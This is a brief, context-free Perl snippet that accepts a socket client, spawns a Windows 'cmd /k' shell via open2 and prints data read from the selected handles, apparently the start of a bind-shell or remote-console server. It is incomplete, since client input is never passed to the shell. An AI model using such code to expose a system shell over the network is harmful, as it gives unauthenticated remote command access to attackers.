if (my $client = $server->accept( )) {
    open2($output,$input, "cmd /k");
    $select->add($client);
    $select->add($output);
}

while(1) {
    foreach my $current_socket($select->can_read())
    {
        my $data;
        $current_socket->read($data, 10,0);
        die unless $data;
        print $data, "\n";
    }
}